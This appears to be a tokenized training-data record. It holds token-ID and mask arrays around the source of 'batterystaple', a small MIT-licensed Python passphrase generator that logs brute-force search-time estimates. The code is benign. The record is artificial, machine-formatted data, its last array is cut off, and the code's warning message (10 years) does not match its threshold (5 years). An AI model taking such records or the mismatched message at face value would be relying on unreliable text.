[ 3381, 2647, 15, 1393, 15, 1813, 2366, 19, 199, 309, 3606, 2595, 199, 309, 3814, 26, 1104, 63, 397, 63, 9493, 63, 835, 14, 647, 199, 309, 6529, 520, 25187, 9745, 199, 309, 11994, 520, 3820, 2615, 9486, 2338, 367, 1006, 9455, 3380, 199, 309, 257, 2366, 1104, 63, 397, 63, 9493, 63, 835, 14, 647, 1553, 397, 63, 1102, 13567, 14, 6568, 14, 16, 14, 18, 1553, 988, 63, 2861, 63, 9493, 9601, 199, 309, 1553, 199, 309, 18208, 520, 665, 12682, 13, 1644, 13, 1165, 30, 199, 309, 6162, 68, 26, 4703, 13, 2359, 26, 665, 12682, 13, 966, 13, 996, 4944, 26, 1216, 26, 2824, 30, 199, 309, 3606, 2595, 199, 646, 984, 199, 646, 7534, 12, 2838, 199, 646, 4145, 12, 2022, 199, 199, 3, 26145, 298, 1014, 921, 4, 397, 63, 711, 26, 25, 1840, 15607, 2415, 15, 3200, 2, 971, 199, 3, 1204, 1335, 81, 6730, 1275, 2415, 1204, 370, 63, 3189, 1204, 4069, 63, 991, 13417, 585, 14, 15813, 14, 9493, 14, 10946, 83, 14, 1753, 14, 3627, 63, 835, 9, 1204, 1275, 8607, 1204, 469, 1031, 26, 1275, 585, 14, 354, 12, 2615, 63, 9493, 63, 835, 26, 1275, 585, 14, 15813, 14, 9493, 14, 10946, 83, 14, 1753, 14, 3627, 63, 835, 789, 1622, 7, 199, 199, 318, 664, 63, 397, 63, 9493, 63, 835, 8, 397, 63, 1102, 12, 9455, 63, 719, 304, 272, 1166, 275, 298, 1014, 13827, 83, 2689, 83, 15607, 2415, 15, 3200, 2, 450, 334, 397, 63, 1102, 12, 9455, 63, 719, 9, 272, 519, 275, 4145, 14, 362, 8, 633, 9, 272, 340, 519, 14, 1205, 63, 600, 1137, 1926, 26, 746, 2186, 480, 4874, 370, 1255, 14880, 3261, 26, 450, 83, 14, 6646, 26, 450, 83, 2, 450, 334, 633, 12, 519, 14, 1317, 430, 272, 1564, 63, 1001, 275, 2022, 14, 3640, 8, 82, 14, 1317, 9, 272, 3380, 63, 807, 275, 1564, 63, 1001, 905, 2415, 937, 272, 522, 275, 942, 272, 367, 790, 315, 3380, 63, 807, 26, 267, 522, 14, 740, 779, 2415, 63, 807, 59, 498, 7541, 354, 2255, 3380, 63, 807, 59, 498, 7541, 1102, 2255, 3380, 63, 807, 59, 498, 7541, 15813, 6611, 9493, 6611, 10946, 83, 6611, 1753, 6611, 3627, 63, 835, 937, 566, 272, 372, 3355, 8, 470, 12, 790, 29, 2734, 1242, 26, 1242, 59, 18, 467, 3837, 29, 549, 9, 199, 199, 318, 1104, 63, 397, 63, 9493, 63, 835, 8, 397, 63, 1102, 12, 9455, 63, 719, 12, 1390, 63, 2861, 63, 9493, 304, 272, 634, 275, 664, 63, 397, 63, 9493, 63, 835, 8, 397, 63, 1102, 12, 9455, 63, 719, 9, 272, 3405, 63, 2415, 275, 942, 272, 870, 480, 654, 3380, 2615, 9486, 12, 3355, 315, 282, 3837, 1865, 531, 272, 367, 359, 932, 63, 354, 12, 1031, 63, 711, 12, 9486, 63, 835, 61, 315, 634, 26, 267, 870, 3647, 83, 60, 84, 5, 83, 60, 84, 5, 83, 2, 450, 334, 932, 63, 354, 12, 1031, 63, 711, 12, 9486, 63, 835, 430, 267, 340, 1109, 8, 9493, 63, 835, 9, 2356, 1390, 63, 2861, 63, 9493, 26, 288, 3405, 63, 2415, 14, 740, 1332, 932, 63, 354, 12, 1031, 63, 711, 430, 272, 340, 822, 8, 4892, 63, 2415, 9, 1137, 378, 26, 267, 870, 480, 547, 26, 5084, 3380, 1172, 2615, 9486, 1655, 2419, 450, 68, 5424, 450, 334, 988, 63, 2861, 63, 9493, 430, 267, 367, 334, 932, 63, 354, 12, 1031, 63, 711, 9, 315, 3405, 63, 2415, 26, 288, 870, 3647, 83, 60, 84, 5, 83, 2, 450, 334, 932, 63, 354, 12, 1031, 63, 711, 430, 267, 372, 756, 272, 372, 715, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 1798, 275, 7534, 14, 10730, 342, 272, 1798, 14, 525, 63, 2094, 4517, 397, 63, 1102, 297, 1415, 29, 797, 12, 971, 717, 1720, 628, 1000, 3384, 503, 6246, 367, 24380, 1733, 1256, 14, 3758, 574, 365, 3384, 402, 16227, 16, 401, 730, 29, 495, 9, 272, 1798, 14, 525, 63, 2094, 4517, 397, 63, 719, 297, 849, 534, 25, 1840, 297, 1415, 29, 797, 12, 971, 717, 1720, 628, 1000, 1844, 367, 24380, 1733, 1256, 401, 730, 29, 495, 9, 272, 1798, 14, 525, 63, 2094, 4517, 988, 63, 2861, 63, 9493, 297, 849, 534, 5863, 297, 1415, 29, 797, 12, 730, 29, 442, 12, 971, 717, 1720, 628, 3917, 2005, 3380, 1172, 2615, 9486, 1655, 2419, 642, 12, 2449, 314, 511, 531, 272, 634, 275, 1798, 14, 1122, 63, 589, 342, 272, 9455, 63, 1102, 275, 634, 14, 397, 63, 1102, 272, 327, 664, 3384, 402, 16227, 16, 12, 340, 9455, 63, 1102, 365, 440, 1627, 272, 340, 9455, 63, 1102, 365, 488, 26, 267, 308, 275, 2838, 14, 3450, 8, 3450, 14, 5699, 63, 11367, 12, 2838, 14, 9469, 63, 25351, 9, 267, 308, 14, 2242, 9313, 24, 14, 24, 14, 24, 14, 24, 401, 5939, 430, 267, 9455, 63, 1102, 275, 308, 14, 27886, 3430, 16, 61, 339, 2203, 275, 715, 272, 862, 26, 267, 2203, 275, 1104, 63, 397, 63, 9493, 63, 835, 8, 397, 63, 1102, 12, 634, 14, 397, 63, 719, 12, 634, 14, 988, 63, 2861, 63, 9493, 9, 272, 871, 2186, 465, 325, 26, 267, 870, 480, 8708, 1125, 2689, 83, 12, 450, 83, 2, 450, 334, 1274, 14, 2804, 63, 815, 3430, 16, 467, 325, 430, 267, 984, 14, 2224, 8, 17, 9, 272, 340, 2203, 365, 756, 26, 984, 14, 2224, 8, 17, 9, 199, 309, 3814, 26, 1104, 63, 397, 63, 9493, 63, 835, 14, 647, 11187, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 19, 199, 309, 3606, 2595, 199, 309, 3814, 26, 1104, 63, 397, 63, 9493, 63, 835, 14, 647, 199, 309, 6529, 520, 25187, 9745, 199, 309, 11994, 520, 3820, 2615, 9486, 2338, 367, 1006, 9455, 3380, 199, 309, 257, 2366, 1104, 63, 397, 63, 9493, 63, 835, 14, 647, 1553, 397, 63, 1102, 13567, 14, 6568, 14, 16, 14, 18, 1553, 988, 63, 2861, 63, 9493, 9601, 199, 309, 1553, 199, 309, 18208, 520, 665, 12682, 13, 1644, 13, 1165, 30, 199, 309, 6162, 68, 26, 4703, 13, 2359, 26, 665, 12682, 13, 966, 13, 996, 4944, 26, 1216, 26, 2824, 30, 199, 309, 3606, 2595, 199, 646, 984, 199, 646, 7534, 12, 2838, 199, 646, 4145, 12, 2022, 199, 199, 3, 26145, 298, 1014, 921, 4, 397, 63, 711, 26, 25, 1840, 15607, 2415, 15, 3200, 2, 971, 199, 3, 1204, 1335, 81, 6730, 1275, 2415, 1204, 370, 63, 3189, 1204, 4069, 63, 991, 13417, 585, 14, 15813, 14, 9493, 14, 10946, 83, 14, 1753, 14, 3627, 63, 835, 9, 1204, 1275, 8607, 1204, 469, 1031, 26, 1275, 585, 14, 354, 12, 2615, 63, 9493, 63, 835, 26, 1275, 585, 14, 15813, 14, 9493, 14, 10946, 83, 14, 1753, 14, 3627, 63, 835, 789, 1622, 7, 199, 199, 318, 664, 63, 397, 63, 9493, 63, 835, 8, 397, 63, 1102, 12, 9455, 63, 719, 304, 272, 1166, 275, 298, 1014, 13827, 83, 2689, 83, 15607, 2415, 15, 3200, 2, 450, 334, 397, 63, 1102, 12, 9455, 63, 719, 9, 272, 519, 275, 4145, 14, 362, 8, 633, 9, 272, 340, 519, 14, 1205, 63, 600, 1137, 1926, 26, 746, 2186, 480, 4874, 370, 1255, 14880, 3261, 26, 450, 83, 14, 6646, 26, 450, 83, 2, 450, 334, 633, 12, 519, 14, 1317, 430, 272, 1564, 63, 1001, 275, 2022, 14, 3640, 8, 82, 14, 1317, 9, 272, 3380, 63, 807, 275, 1564, 63, 1001, 905, 2415, 937, 272, 522, 275, 942, 272, 367, 790, 315, 3380, 63, 807, 26, 267, 522, 14, 740, 779, 2415, 63, 807, 59, 498, 7541, 354, 2255, 3380, 63, 807, 59, 498, 7541, 1102, 2255, 3380, 63, 807, 59, 498, 7541, 15813, 6611, 9493, 6611, 10946, 83, 6611, 1753, 6611, 3627, 63, 835, 937, 566, 272, 372, 3355, 8, 470, 12, 790, 29, 2734, 1242, 26, 1242, 59, 18, 467, 3837, 29, 549, 9, 199, 199, 318, 1104, 63, 397, 63, 9493, 63, 835, 8, 397, 63, 1102, 12, 9455, 63, 719, 12, 1390, 63, 2861, 63, 9493, 304, 272, 634, 275, 664, 63, 397, 63, 9493, 63, 835, 8, 397, 63, 1102, 12, 9455, 63, 719, 9, 272, 3405, 63, 2415, 275, 942, 272, 870, 480, 654, 3380, 2615, 9486, 12, 3355, 315, 282, 3837, 1865, 531, 272, 367, 359, 932, 63, 354, 12, 1031, 63, 711, 12, 9486, 63, 835, 61, 315, 634, 26, 267, 870, 3647, 83, 60, 84, 5, 83, 60, 84, 5, 83, 2, 450, 334, 932, 63, 354, 12, 1031, 63, 711, 12, 9486, 63, 835, 430, 267, 340, 1109, 8, 9493, 63, 835, 9, 2356, 1390, 63, 2861, 63, 9493, 26, 288, 3405, 63, 2415, 14, 740, 1332, 932, 63, 354, 12, 1031, 63, 711, 430, 272, 340, 822, 8, 4892, 63, 2415, 9, 1137, 378, 26, 267, 870, 480, 547, 26, 5084, 3380, 1172, 2615, 9486, 1655, 2419, 450, 68, 5424, 450, 334, 988, 63, 2861, 63, 9493, 430, 267, 367, 334, 932, 63, 354, 12, 1031, 63, 711, 9, 315, 3405, 63, 2415, 26, 288, 870, 3647, 83, 60, 84, 5, 83, 2, 450, 334, 932, 63, 354, 12, 1031, 63, 711, 430, 267, 372, 756, 272, 372, 715, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 1798, 275, 7534, 14, 10730, 342, 272, 1798, 14, 525, 63, 2094, 4517, 397, 63, 1102, 297, 1415, 29, 797, 12, 971, 717, 1720, 628, 1000, 3384, 503, 6246, 367, 24380, 1733, 1256, 14, 3758, 574, 365, 3384, 402, 16227, 16, 401, 730, 29, 495, 9, 272, 1798, 14, 525, 63, 2094, 4517, 397, 63, 719, 297, 849, 534, 25, 1840, 297, 1415, 29, 797, 12, 971, 717, 1720, 628, 1000, 1844, 367, 24380, 1733, 1256, 401, 730, 29, 495, 9, 272, 1798, 14, 525, 63, 2094, 4517, 988, 63, 2861, 63, 9493, 297, 849, 534, 5863, 297, 1415, 29, 797, 12, 730, 29, 442, 12, 971, 717, 1720, 628, 3917, 2005, 3380, 1172, 2615, 9486, 1655, 2419, 642, 12, 2449, 314, 511, 531, 272, 634, 275, 1798, 14, 1122, 63, 589, 342, 272, 9455, 63, 1102, 275, 634, 14, 397, 63, 1102, 272, 327, 664, 3384, 402, 16227, 16, 12, 340, 9455, 63, 1102, 365, 440, 1627, 272, 340, 9455, 63, 1102, 365, 488, 26, 267, 308, 275, 2838, 14, 3450, 8, 3450, 14, 5699, 63, 11367, 12, 2838, 14, 9469, 63, 25351, 9, 267, 308, 14, 2242, 9313, 24, 14, 24, 14, 24, 14, 24, 401, 5939, 430, 267, 9455, 63, 1102, 275, 308, 14, 27886, 3430, 16, 61, 339, 2203, 275, 715, 272, 862, 26, 267, 2203, 275, 1104, 63, 397, 63, 9493, 63, 835, 8, 397, 63, 1102, 12, 634, 14, 397, 63, 719, 12, 634, 14, 988, 63, 2861, 63, 9493, 9, 272, 871, 2186, 465, 325, 26, 267, 870, 480, 8708, 1125, 2689, 83, 12, 450, 83, 2, 450, 334, 1274, 14, 2804, 63, 815, 3430, 16, 467, 325, 430, 267, 984, 14, 2224, 8, 17, 9, 272, 340, 2203, 365, 756, 26, 984, 14, 2224, 8, 17, 9, 199, 309, 3814, 26, 1104, 63, 397, 63, 9493, 63, 835, 14, 647, 11187, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
chuckSMASH/batterystaple
batterystaple/__init__.py
1
4296
from __future__ import division import logging import os import random import time # Set up logger log = logging.getLogger(__name__) ch = logging.StreamHandler() log.addHandler(ch) # Word list file path info BASE_DIR = os.path.dirname(os.path.abspath(__file__)) WORD_LIST_FILENAME = 'word_list_en.txt' WORD_LIST_PATH = os.path.join(BASE_DIR,'resources', WORD_LIST_FILENAME) # Times UNIX_EPOCH_SECONDS = int(time.time()) ONE_YEAR_SECONDS = int(60 * 60 * 24 * 365.25) HUMANKIND_SECONDS = ONE_YEAR_SECONDS * 200000 UNIVERSE_SECONDS = ONE_YEAR_SECONDS * 13800000000 _word_list = None class NoWordsMeetCriteriaException(BaseException): pass def get_word_list(): """ Returns the word list currently residing in memory or loads the word list from txt file if not found. Args: None Returns: The words contained in word_list_en.txt split into a list by line. Raises: IOError: Word list file not found """ global _word_list if _word_list is None: log.debug('No word list resident in memory, reading from file') with open(WORD_LIST_PATH, 'r') as f: log.debug('Opening {}...'.format(WORD_LIST_PATH)) _word_list = [word.strip() for word in f.readlines()] log.debug('{} word list read into memory'.format(len(_word_list))) return _word_list def generate(num_words=4,min_length=None,max_length=None,with_underscores=True, log_level=logging.INFO): """ Generates a passphrase consisting of num_words words. Args: num_words: The number of words the passphrase should contain min_length: The minimum length of the words to consider when selecting from the word list. max_length: The maximum length of the words to consider when selecting from the word list. log_level: The level of detail the function will log with_underscores: Inserts underscores into passphrase at word boundaries for improved readability. On by default. Returns: The passphrase as a byte string. Raises: NoWordsMeetCriteriaException: The combination of min_length and max_length eliminates all """ log.setLevel(log_level) passphrase = "" join_with = "_" if with_underscores else "" words = get_word_list() words_len = len(words) if min_length is not None: log.info("Eliminating all words less than {} characters in length...".format(min_length)) words = [word for word in words if len(word) >= min_length] log.info("{} words removed from list of candidates.".format(words_len - len(words))) words_len = len(words) if max_length is not None: log.info("Eliminating all words greater than {} characters in length...".format(max_length)) words = [word for word in words if len(word) <= max_length] log.info("{} words removed from list of candidates.".format(words_len - len(words))) words_len = len(words) if len(words) == 0: raise NoWordsMeetCriteriaException('No words found given min and max lengths') log.info("Generating passphrase of length {} from {} candidate words...".format(num_words, words_len)) passphrase = join_with.join(random.choice(words) for i in xrange(num_words)) passphrase_space = words_len**num_words seconds_to_search = int(passphrase_space / 1000000000) log.info("Passphrase generated.") log.info("Number of possible passphrases with given length and constraints: {:,}".format(passphrase_space)) log.info("Time required to try all combinations at speed of 1 billion attempts/second: {:,}s".format(seconds_to_search)) log.info("For the sake of comparison, here are several other lengths of time:") log.info("Seconds in one year: {:,}s".format(ONE_YEAR_SECONDS)) log.info("Seconds since UNIX epoch (Jan 1, 1970 12:00:00am): {:,}s".format(UNIX_EPOCH_SECONDS)) log.info("Seconds since humans emerged as a distinct species: {:,}s".format(HUMANKIND_SECONDS)) log.info("Seconds since the universe formed: {:,}s".format(UNIVERSE_SECONDS)) if seconds_to_search < 60*60*24*365*5: log.warn("Time required to exhaust space of all possibilities is less than 10 years") return passphrase
mit
[ 504, 636, 2443, 363, 492, 4629, 199, 199, 646, 2050, 199, 646, 747, 199, 646, 2196, 199, 646, 900, 199, 199, 3, 2494, 1536, 2512, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 335, 275, 2050, 14, 22482, 342, 199, 793, 14, 18826, 8, 335, 9, 199, 199, 3, 14644, 769, 570, 931, 2256, 199, 5825, 63, 3022, 275, 747, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 4832, 3460, 493, 8964, 199, 5172, 63, 4924, 63, 15440, 275, 283, 1027, 63, 513, 63, 287, 14, 2424, 7, 199, 5172, 63, 4924, 63, 3243, 275, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 2584, 4435, 297, 31858, 63, 4924, 63, 15440, 9, 199, 199, 3, 4703, 83, 199, 19584, 63, 37, 1512, 1244, 63, 23319, 275, 1109, 8, 521, 14, 521, 1012, 199, 4817, 63, 19216, 63, 23319, 275, 1109, 8, 2259, 627, 5212, 627, 5504, 627, 28046, 14, 821, 9, 199, 40, 2639, 15874, 3192, 63, 23319, 275, 13051, 63, 19216, 63, 23319, 627, 499, 5345, 199, 15134, 21233, 63, 23319, 275, 13051, 63, 19216, 63, 23319, 627, 26309, 3607, 199, 199, 63, 1027, 63, 513, 275, 488, 421, 199, 533, 3091, 23759, 1352, 386, 35, 7527, 65, 1726, 8, 29900, 304, 272, 986, 421, 199, 318, 664, 63, 1027, 63, 513, 837, 272, 408, 272, 1803, 314, 4349, 769, 5544, 28633, 1098, 315, 4402, 503, 14404, 272, 314, 4349, 769, 687, 9444, 570, 340, 440, 1911, 14, 339, 3033, 26, 267, 488, 272, 1803, 26, 267, 710, 5932, 10470, 315, 4349, 63, 513, 63, 287, 14, 2424, 3715, 1901, 282, 769, 267, 701, 1004, 14, 272, 6218, 26, 267, 5925, 26, 14644, 769, 570, 440, 1911, 272, 408, 272, 2288, 485, 1027, 63, 513, 272, 340, 485, 1027, 63, 513, 365, 488, 26, 267, 943, 14, 1757, 360, 1944, 4349, 769, 28633, 1326, 315, 4402, 12, 7664, 687, 570, 358, 267, 543, 1551, 8, 5172, 63, 4924, 63, 3243, 12, 283, 82, 358, 465, 289, 26, 288, 943, 14, 1757, 360, 4299, 316, 1052, 1396, 1370, 908, 8, 5172, 63, 4924, 63, 3243, 430, 288, 485, 1027, 63, 513, 275, 359, 1027, 14, 1913, 342, 367, 4349, 315, 289, 14, 9684, 5106, 288, 943, 14, 1757, 17519, 4349, 769, 1586, 1901, 4402, 1370, 908, 8, 552, 1547, 1027, 63, 513, 1724, 272, 372, 485, 1027, 63, 513, 199, 199, 318, 3550, 8, 1507, 63, 3148, 29, 20, 12, 827, 63, 1267, 29, 403, 12, 988, 63, 1267, 29, 403, 12, 1045, 63, 7138, 7107, 29, 549, 12, 267, 943, 63, 1896, 29, 4806, 14, 4531, 304, 272, 408, 272, 21687, 282, 22432, 22581, 402, 1967, 63, 3148, 5932, 14, 339, 3033, 26, 267, 1967, 63, 3148, 26, 710, 1329, 402, 5932, 314, 22432, 1077, 1395, 267, 1748, 63, 1267, 26, 710, 7481, 2582, 402, 314, 5932, 370, 11201, 1380, 288, 30090, 687, 314, 4349, 769, 14, 267, 1390, 63, 1267, 26, 710, 5696, 2582, 402, 314, 5932, 370, 11201, 1380, 288, 30090, 687, 314, 4349, 769, 14, 267, 943, 63, 1896, 26, 710, 2166, 402, 10093, 314, 805, 911, 943, 267, 543, 63, 7138, 7107, 26, 15496, 83, 23998, 1901, 22432, 737, 4349, 288, 18135, 367, 1742, 26429, 1586, 3616, 14, 4068, 701, 849, 14, 272, 1803, 26, 267, 710, 22432, 465, 282, 3696, 1059, 14, 272, 6218, 26, 267, 3091, 23759, 1352, 386, 35, 7527, 65, 1726, 26, 710, 14665, 402, 1748, 63, 1267, 288, 436, 1390, 63, 1267, 20714, 2335, 1006, 272, 408, 272, 943, 14, 13548, 8, 793, 63, 1896, 9, 339, 22432, 275, 3087, 272, 4263, 63, 1045, 275, 14220, 340, 543, 63, 7138, 7107, 587, 3087, 272, 5932, 275, 664, 63, 1027, 63, 513, 342, 272, 5932, 63, 552, 275, 822, 8, 3148, 9, 272, 340, 1748, 63, 1267, 365, 440, 488, 26, 267, 943, 14, 815, 480, 37, 13769, 1958, 1006, 5932, 6656, 2419, 1052, 4110, 315, 2582, 1396, 1674, 908, 8, 827, 63, 1267, 430, 267, 5932, 275, 359, 1027, 367, 4349, 315, 5932, 340, 822, 8, 1027, 9, 2356, 1748, 63, 1267, 61, 267, 943, 14, 815, 20794, 5932, 4829, 687, 769, 402, 15101, 15848, 908, 8, 3148, 63, 552, 446, 822, 8, 3148, 1724, 267, 5932, 63, 552, 275, 822, 8, 3148, 9, 272, 340, 1390, 63, 1267, 365, 440, 488, 26, 267, 943, 14, 815, 480, 37, 13769, 1958, 1006, 5932, 8932, 2419, 1052, 4110, 315, 2582, 1396, 1674, 908, 8, 988, 63, 1267, 430, 267, 5932, 275, 359, 1027, 367, 4349, 315, 5932, 340, 822, 8, 1027, 9, 2695, 1390, 63, 1267, 61, 267, 943, 14, 815, 20794, 5932, 4829, 687, 769, 402, 15101, 15848, 908, 8, 3148, 63, 552, 446, 822, 8, 3148, 1724, 267, 5932, 63, 552, 275, 822, 8, 3148, 9, 339, 340, 822, 8, 3148, 9, 508, 378, 26, 267, 746, 3091, 23759, 1352, 386, 35, 7527, 65, 1726, 360, 1944, 5932, 1911, 1627, 1748, 436, 1390, 17464, 358, 339, 943, 14, 815, 480, 29244, 22432, 402, 2582, 1052, 687, 1052, 7627, 5932, 1396, 1674, 908, 8, 1507, 63, 3148, 12, 5932, 63, 552, 430, 272, 22432, 275, 4263, 63, 1045, 14, 904, 8, 2355, 14, 5095, 8, 3148, 9, 367, 284, 315, 4945, 8, 1507, 63, 3148, 430, 272, 22432, 63, 2638, 275, 5932, 63, 552, 538, 1507, 63, 3148, 272, 4696, 63, 475, 63, 1733, 275, 1109, 8, 25173, 63, 2638, 1182, 413, 25464, 9, 272, 943, 14, 815, 480, 4986, 10906, 4046, 2685, 272, 943, 14, 815, 480, 3259, 402, 3962, 986, 838, 26201, 543, 1627, 2582, 436, 9565, 26, 469, 11941, 5469, 908, 8, 25173, 63, 2638, 430, 272, 943, 14, 815, 480, 1366, 1415, 370, 862, 1006, 15821, 737, 8112, 402, 413, 330, 8148, 265, 12454, 15, 4375, 26, 469, 11941, 93, 83, 1674, 908, 8, 4515, 63, 475, 63, 1733, 430, 272, 943, 14, 815, 480, 1858, 314, 308, 1728, 402, 9132, 12, 2348, 787, 9978, 1163, 17464, 402, 900, 9107, 272, 943, 14, 815, 480, 13165, 315, 1373, 5361, 26, 469, 11941, 93, 83, 1674, 908, 8, 4817, 63, 19216, 63, 23319, 430, 272, 943, 14, 815, 480, 13165, 3967, 22242, 9463, 334, 19825, 413, 12 ]
[ 636, 2443, 363, 492, 4629, 199, 199, 646, 2050, 199, 646, 747, 199, 646, 2196, 199, 646, 900, 199, 199, 3, 2494, 1536, 2512, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 335, 275, 2050, 14, 22482, 342, 199, 793, 14, 18826, 8, 335, 9, 199, 199, 3, 14644, 769, 570, 931, 2256, 199, 5825, 63, 3022, 275, 747, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 4832, 3460, 493, 8964, 199, 5172, 63, 4924, 63, 15440, 275, 283, 1027, 63, 513, 63, 287, 14, 2424, 7, 199, 5172, 63, 4924, 63, 3243, 275, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 2584, 4435, 297, 31858, 63, 4924, 63, 15440, 9, 199, 199, 3, 4703, 83, 199, 19584, 63, 37, 1512, 1244, 63, 23319, 275, 1109, 8, 521, 14, 521, 1012, 199, 4817, 63, 19216, 63, 23319, 275, 1109, 8, 2259, 627, 5212, 627, 5504, 627, 28046, 14, 821, 9, 199, 40, 2639, 15874, 3192, 63, 23319, 275, 13051, 63, 19216, 63, 23319, 627, 499, 5345, 199, 15134, 21233, 63, 23319, 275, 13051, 63, 19216, 63, 23319, 627, 26309, 3607, 199, 199, 63, 1027, 63, 513, 275, 488, 421, 199, 533, 3091, 23759, 1352, 386, 35, 7527, 65, 1726, 8, 29900, 304, 272, 986, 421, 199, 318, 664, 63, 1027, 63, 513, 837, 272, 408, 272, 1803, 314, 4349, 769, 5544, 28633, 1098, 315, 4402, 503, 14404, 272, 314, 4349, 769, 687, 9444, 570, 340, 440, 1911, 14, 339, 3033, 26, 267, 488, 272, 1803, 26, 267, 710, 5932, 10470, 315, 4349, 63, 513, 63, 287, 14, 2424, 3715, 1901, 282, 769, 267, 701, 1004, 14, 272, 6218, 26, 267, 5925, 26, 14644, 769, 570, 440, 1911, 272, 408, 272, 2288, 485, 1027, 63, 513, 272, 340, 485, 1027, 63, 513, 365, 488, 26, 267, 943, 14, 1757, 360, 1944, 4349, 769, 28633, 1326, 315, 4402, 12, 7664, 687, 570, 358, 267, 543, 1551, 8, 5172, 63, 4924, 63, 3243, 12, 283, 82, 358, 465, 289, 26, 288, 943, 14, 1757, 360, 4299, 316, 1052, 1396, 1370, 908, 8, 5172, 63, 4924, 63, 3243, 430, 288, 485, 1027, 63, 513, 275, 359, 1027, 14, 1913, 342, 367, 4349, 315, 289, 14, 9684, 5106, 288, 943, 14, 1757, 17519, 4349, 769, 1586, 1901, 4402, 1370, 908, 8, 552, 1547, 1027, 63, 513, 1724, 272, 372, 485, 1027, 63, 513, 199, 199, 318, 3550, 8, 1507, 63, 3148, 29, 20, 12, 827, 63, 1267, 29, 403, 12, 988, 63, 1267, 29, 403, 12, 1045, 63, 7138, 7107, 29, 549, 12, 267, 943, 63, 1896, 29, 4806, 14, 4531, 304, 272, 408, 272, 21687, 282, 22432, 22581, 402, 1967, 63, 3148, 5932, 14, 339, 3033, 26, 267, 1967, 63, 3148, 26, 710, 1329, 402, 5932, 314, 22432, 1077, 1395, 267, 1748, 63, 1267, 26, 710, 7481, 2582, 402, 314, 5932, 370, 11201, 1380, 288, 30090, 687, 314, 4349, 769, 14, 267, 1390, 63, 1267, 26, 710, 5696, 2582, 402, 314, 5932, 370, 11201, 1380, 288, 30090, 687, 314, 4349, 769, 14, 267, 943, 63, 1896, 26, 710, 2166, 402, 10093, 314, 805, 911, 943, 267, 543, 63, 7138, 7107, 26, 15496, 83, 23998, 1901, 22432, 737, 4349, 288, 18135, 367, 1742, 26429, 1586, 3616, 14, 4068, 701, 849, 14, 272, 1803, 26, 267, 710, 22432, 465, 282, 3696, 1059, 14, 272, 6218, 26, 267, 3091, 23759, 1352, 386, 35, 7527, 65, 1726, 26, 710, 14665, 402, 1748, 63, 1267, 288, 436, 1390, 63, 1267, 20714, 2335, 1006, 272, 408, 272, 943, 14, 13548, 8, 793, 63, 1896, 9, 339, 22432, 275, 3087, 272, 4263, 63, 1045, 275, 14220, 340, 543, 63, 7138, 7107, 587, 3087, 272, 5932, 275, 664, 63, 1027, 63, 513, 342, 